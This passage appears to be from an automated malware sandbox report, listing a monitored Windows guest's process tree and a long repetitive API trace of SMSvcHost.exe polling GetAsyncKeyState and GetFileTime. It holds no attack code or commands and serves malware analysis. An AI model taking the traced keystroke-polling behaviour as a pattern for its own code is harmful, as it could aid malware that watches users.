= 733 os_tid = 0x4d0 Thread: id = 734 os_tid = 0x4d4 Thread: id = 737 os_tid = 0x4d8 Thread: id = 738 os_tid = 0x4dc Thread: id = 739 os_tid = 0x4e4 Thread: id = 741 os_tid = 0x4e8 Thread: id = 757 os_tid = 0x534 Thread: id = 761 os_tid = 0x548 Thread: id = 764 os_tid = 0x558 Thread: id = 768 os_tid = 0x568 Thread: id = 774 os_tid = 0x580 Thread: id = 777 os_tid = 0x594 Thread: id = 787 os_tid = 0x5c0 Thread: id = 793 os_tid = 0x5d8 Thread: id = 794 os_tid = 0x5dc Thread: id = 796 os_tid = 0x5e4 Thread: id = 798 os_tid = 0x5ec Thread: id = 800 os_tid = 0x5f4 Thread: id = 802 os_tid = 0x600 Thread: id = 804 os_tid = 0x604 Thread: id = 943 os_tid = 0x498 Thread: id = 959 os_tid = 0x564 Process: id = "57" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0x23f3c000" os_pid = "0x408" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "50" os_parent_pid = "0x334" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 688 os_tid = 0x40c Thread: id = 692 os_tid = 0x424 Thread: id = 694 os_tid = 0x428 Thread: id = 695 os_tid = 0x42c Thread: id = 696 os_tid = 0x430 Thread: id = 863 os_tid = 0x6fc Thread: id = 864 os_tid = 0x700 Process: id = "58" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7a68f000" os_pid = "0x43c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:0001098d" [0xc000000f], "LOCAL" [0x7] Thread: id = 699 os_tid = 0x440 Thread: id = 701 os_tid = 0x448 Thread: id = 703 os_tid = 0x450 Thread: id = 704 os_tid = 0x454 Thread: id = 705 os_tid = 0x458 Thread: id = 706 os_tid = 0x45c Thread: id = 710 os_tid = 0x470 Thread: id = 711 os_tid = 0x474 Thread: id = 712 os_tid = 0x478 Thread: id = 713 os_tid = 0x47c Thread: id = 715 os_tid = 0x484 Thread: id = 718 os_tid = 0x48c Thread: id = 748 os_tid = 0x510 Thread: id = 823 os_tid = 0x650 Thread: id = 830 os_tid = 0x670 Thread: id = 833 os_tid = 0x678 Thread: id = 837 os_tid = 0x690 Thread: id = 844 os_tid = 0x6b0 Thread: id = 847 os_tid = 0x68c Thread: id = 851 os_tid = 0x6c8 Thread: id = 859 os_tid = 0x6ec Thread: id = 860 os_tid = 0x6f0 Thread: id = 861 os_tid = 0x6f4 Thread: id = 862 os_tid = 0x6f8 Thread: id = 919 os_tid = 0x7e8 Thread: id = 922 os_tid = 0x7f4 Thread: id = 967 os_tid = 0x4f0 Process: id = "59" image_name = "bcssync.exe" filename = "c:\\program files\\microsoft office\\office14\\bcssync.exe" page_root = "0x796f8000" os_pid = "0x4bc" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "56" os_parent_pid = "0x278" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe\" /DelayServices" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 735 os_tid = 0x4c0 Process: id = "60" image_name = "runonce.exe" filename = "c:\\windows\\syswow64\\runonce.exe" page_root = "0x78102000" os_pid = "0x4c4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "56" os_parent_pid = "0x278" cmd_line = "C:\\Windows\\SysWOW64\\runonce.exe /Run6432" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 736 os_tid = 0x4c8 Thread: id = 742 os_tid = 0x4ec Thread: id = 743 os_tid = 0x4f0 Thread: id = 746 os_tid = 0x508 Thread: id = 747 os_tid = 0x50c Process: id = "61" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x78195000" os_pid = "0x500" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:000168ef" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 745 os_tid = 0x504 Thread: id = 749 os_tid = 0x514 Thread: id = 751 os_tid = 0x51c Thread: id = 752 os_tid = 0x520 Thread: id = 754 os_tid = 0x528 Thread: id = 759 os_tid = 0x53c Process: id = "62" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x75d05000" os_pid = "0x540" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalServiceNoNetwork" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BFE" [0xe], "NT SERVICE\\DPS" [0xa], "NT SERVICE\\MpsSvc" [0xa], "NT SERVICE\\pla" [0xa], "NT SERVICE\\WwanSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00018578" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7] Thread: id = 760 os_tid = 0x544 Thread: id = 763 os_tid = 0x554 Thread: id = 770 os_tid = 0x56c Thread: id = 772 os_tid = 0x574 Thread: id = 773 os_tid = 0x578 Thread: id = 782 os_tid = 0x5a8 Thread: id = 799 os_tid = 0x5f0 Thread: id = 808 os_tid = 0x614 Thread: id = 812 os_tid = 0x624 Thread: id = 813 os_tid = 0x628 Thread: id = 819 os_tid = 0x640 Thread: id = 820 os_tid = 0x644 Thread: id = 826 os_tid = 0x654 Thread: id = 838 os_tid = 0x694 Thread: id = 840 os_tid = 0x6a0 Thread: id = 841 os_tid = 0x6a4 Thread: id = 842 os_tid = 0x6a8 Thread: id = 843 os_tid = 0x6ac Thread: id = 899 os_tid = 0x790 Thread: id = 907 os_tid = 0x7b8 Thread: id = 909 os_tid = 0x7c0 Thread: id = 911 os_tid = 0x7c8 Thread: id = 913 os_tid = 0x7d0 Thread: id = 923 os_tid = 0x7f8 Thread: id = 924 os_tid = 0x7fc Thread: id = 925 os_tid = 0x404 Thread: id = 926 os_tid = 0x200 Process: id = "63" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x76b97000" os_pid = "0x54c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 762 os_tid = 0x550 Thread: id = 765 os_tid = 0x55c Thread: id = 767 os_tid = 0x560 Thread: id = 778 os_tid = 0x598 Thread: id = 780 os_tid = 0x5a0 Thread: id = 781 os_tid = 0x5a4 Thread: id = 785 os_tid = 0x5b8 Thread: id = 789 os_tid = 0x5c8 Thread: id = 806 os_tid = 0x60c Thread: id = 809 os_tid = 0x618 Thread: id = 810 os_tid = 0x61c Thread: id = 816 os_tid = 0x634 Thread: id = 884 os_tid = 0x758 Thread: id = 891 os_tid = 0x774 Thread: id = 1077 os_tid = 0x680 Thread: id = 1078 os_tid = 0x6c8 Process: id = "64" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x758a2000" os_pid = "0x584" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "46" os_parent_pid = "0x238" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 775 os_tid = 0x588 Thread: id = 783 os_tid = 0x5ac Thread: id = 786 os_tid = 0x5bc Thread: id = 790 os_tid = 0x5cc Thread: id = 791 os_tid = 0x5d0 Thread: id = 792 os_tid = 0x5d4 Thread: id = 795 os_tid = 0x5e0 Process: id = "65" image_name = "reader_sl.exe" filename = "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\reader_sl.exe" page_root = "0x75740000" os_pid = "0x58c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "60" os_parent_pid = "0x4c4" cmd_line = "\"C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 776 os_tid = 0x590 Thread: id = 788 os_tid = 0x5c4 Thread: id = 811 os_tid = 0x620 Thread: id = 1001 os_tid = 0x748 Thread: id = 1002 os_tid = 0x5ac Process: id = "66" image_name = "adobearm.exe" filename = "c:\\program files (x86)\\common files\\adobe\\arm\\1.0\\adobearm.exe" page_root = "0x7595f000" os_pid = "0x5b0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "60" os_parent_pid = "0x4c4" cmd_line = "\"C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\AdobeARM.exe\" " cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e71b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 784 os_tid = 0x5b4 Thread: id = 801 os_tid = 0x5f8 Thread: id = 803 os_tid = 0x5fc Process: id = "67" image_name = "smsvchost.exe" filename = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe" page_root = "0x729b6000" os_pid = "0x698" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "43" os_parent_pid = "0x1bc" cmd_line = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "S-1-5-80-2943419899-937267781-4189664001-1229628381-3982115073" [0xa], "S-1-5-80-3579033775-2824656752-1522793541-1960352512-462907086" [0xe], "NT SERVICE\\NetTcpPortSharing" [0xa], "NT AUTHORITY\\Logon Session 00000000:0002051a" [0xc000000f], "LOCAL" [0x7], "NT AUTHORITY\\WRITE RESTRICTED" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 839 os_tid = 0x69c [0220.646] GetCommandLineW () returned="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0220.646] GetStockObject (i=168) returned 0x0 [0220.646] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.647] GetFocus () returned 0x0 [0220.647] GetAsyncKeyState (vKey=58) returned 0 [0220.647] GetKBCodePage () returned 0x1b5 [0220.647] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.648] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.648] GetFocus () returned 0x0 [0220.648] GetAsyncKeyState (vKey=58) returned 0 [0220.648] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0220.649] GetFocus () returned 0x0 [0220.649] GetAsyncKeyState (vKey=58) returned 0 [0220.649] GetKBCodePage () returned 0x1b5 [0220.649] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, 